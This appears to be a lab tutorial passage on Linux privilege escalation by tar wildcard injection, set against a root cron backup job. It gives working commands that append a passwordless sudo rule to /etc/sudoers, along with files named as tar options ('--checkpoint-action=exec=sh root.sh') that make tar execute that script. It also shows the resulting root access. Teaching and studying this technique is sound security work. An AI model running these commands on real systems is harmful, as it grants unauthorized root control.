Wildcard Abuse

Character	Significance
*	An asterisk that can match any number of characters in a file name.
?	Matches a single character.
[ ]	Brackets enclose characters and can match any single one at the defined position.
~	A tilde at the beginning expands to the name of the user home directory or can have another username appended to refer to that user's home directory.
-	A hyphen within brackets will denote a range of characters.

cron job

#
#
mh dom mon dow command
*/01 * * * * cd /home/htb-student && tar -zcf /home/htb-student/backup.tar.gz *

~$ echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
~$ echo "" > "--checkpoint-action=exec=sh root.sh"
~$ echo "" > --checkpoint=1

~$ ls -la

total 56
drwxrwxrwt 10 root        root        4096 Aug 31 23:12 .
drwxr-xr-x 24 root        root        4096 Aug 31 02:24 ..
-rw-r--r--  1 root        root         378 Aug 31 23:12 backup.tar.gz
-rw-rw-r--  1 htb-student htb-student    1 Aug 31 23:11 --checkpoint=1
-rw-rw-r--  1 htb-student htb-student    1 Aug 31 23:11 --checkpoint-action=exec=sh root.sh
drwxrwxrwt  2 root        root        4096 Aug 31 22:36 .font-unix
drwxrwxrwt  2 root        root        4096 Aug 31 22:36 .ICE-unix
-rw-rw-r--  1 htb-student htb-student   60 Aug 31 23:11 root.sh

Once the cron job runs again, we can check for the newly added sudo privileges and sudo to root directly.

~$ sudo -l

Matching Defaults entries for htb-student on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User htb-student may run the following commands on NIX02:
    (root) NOPASSWD: ALL

References

Exploiting Wildcard for Privilege Escalation - Hacking ArticlesHacking Articles